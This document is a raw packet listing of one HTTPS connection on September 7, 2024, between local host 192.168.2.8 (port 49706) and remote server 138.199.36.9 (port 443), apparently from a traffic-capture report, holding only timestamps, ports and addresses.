Sep 7, 2024 23:15:19.482876062 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.482997894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.483009100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.483093977 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.494987965 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.495003939 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.495085001 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.495095968 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.495134115 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.497952938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.497968912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.498034000 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.498044014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.498086929 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.499135971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.499152899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.499209881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.499221087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.499257088 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.503585100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.503601074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.503669977 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.503681898 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.503719091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.546931028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.546952963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.547092915 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.547120094 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.547163963 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.555586100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.555603981 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.555746078 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.555753946 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.555851936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.567399979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.567415953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.567543983 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.567559958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.567614079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.575588942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.575604916 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.575691938 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.575712919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.575757027 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.588207960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.588234901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.588392973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.588417053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.588489056 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.589138985 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.589157104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.589261055 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.589268923 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.589349985 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.589997053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.590023994 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.590051889 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.590056896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.590097904 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.592513084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.592533112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.592588902 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.592596054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.592628956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.635448933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.635467052 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.635624886 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.635646105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.635694981 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.644153118 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.644169092 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.644300938 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.644323111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.644375086 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.655982971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.655999899 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.656153917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.656178951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.656229973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.664135933 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.664154053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.664274931 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.664298058 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.664335966 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.676620960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.676636934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.676747084 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.676769018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.676805973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.677653074 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.677669048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.677733898 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.677742004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.677782059 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.689951897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.689974070 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.690073013 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.690097094 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.690140963 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.690421104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.690435886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.690502882 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.690510035 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.690551043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.730170012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.730192900 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.730354071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.730377913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.730417013 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.753463030 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.753483057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.753580093 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.753602028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.753639936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.758238077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.758256912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.758347034 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.758363008 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.758409023 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.763663054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.763680935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.763777018 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.763791084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.763827085 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.766525984 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.766541958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.766604900 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.766617060 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.766653061 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.767041922 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.767060995 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.767112017 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.767119884 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.767155886 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.767963886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.767990112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.768039942 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.768048048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.768081903 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.769659996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.769676924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.769736052 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.769743919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.769781113 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.818396091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.818423033 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.818499088 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.818533897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.818581104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.841914892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.841945887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.842005968 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.842020988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.842041016 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.842061043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.846687078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.846704006 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.846774101 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.846781969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.846832991 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.852127075 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.852149963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.852207899 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.852216959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.852242947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.852257013 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.855107069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.855127096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.855207920 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.855218887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.855254889 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.855465889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.855482101 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.855525970 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.855532885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.855565071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.855587006 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.856517076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.856535912 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.856599092 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.856607914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.856652021 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.858104944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.858122110 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.858189106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.858197927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.858247995 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.909848928 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.909867048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.910039902 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.910120010 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.910170078 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.936238050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.936258078 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.936414957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.936455011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.936497927 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.937304974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.937320948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.937376976 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.937386036 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.937442064 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.940568924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.940586090 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.940687895 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.940710068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.940757036 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.943698883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.943715096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.943799973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.943814993 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.943850040 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.944148064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.944169044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.944227934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.944236040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.944267988 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.945045948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.945061922 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.945122957 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.945131063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.945162058 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.946532011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.946547031 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.946599007 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.946609020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.946640968 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.998414040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.998452902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.998537064 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:19.998579025 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:19.998619080 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.032176971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.032196999 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.032316923 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.032334089 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.032373905 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.033268929 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.033293009 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.033335924 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.033343077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.033365011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.033389091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.037276983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.037295103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.037383080 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.037390947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.037429094 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.042203903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.042220116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.042294979 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.042303085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.042336941 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.043086052 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.043107986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.043167114 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.043174982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.043207884 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.044514894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.044538021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.044584036 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.044590950 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.044621944 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.046474934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.046494007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.046555042 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.046562910 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.046600103 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.087428093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.087445974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.087496042 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.087513924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.087524891 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.087552071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.120657921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.120682955 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.120743990 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.120770931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.120805025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.121745110 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.121767044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.121812105 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.121817112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.121851921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.125624895 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.125659943 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.125715971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.125725031 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.125761032 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.130732059 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.130755901 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.130808115 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.130835056 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.130873919 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.131474972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.131490946 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.131535053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.131544113 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.131575108 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.132879019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.132898092 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.132930994 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.132939100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.132955074 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.132972002 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.135225058 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.135241032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.135335922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.135344982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.135391951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.175611973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.175637960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.175721884 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.175762892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.175803900 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.403934956 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.403961897 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.404043913 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.404067039 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.404103994 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.404369116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.404386044 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.404437065 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.404443979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.404488087 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.404961109 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.404974937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.405024052 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.405030966 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.405040979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.405059099 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:20.405067921 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:20.405109882 CEST	49706	443	192.168.2.8	138.199.36.9
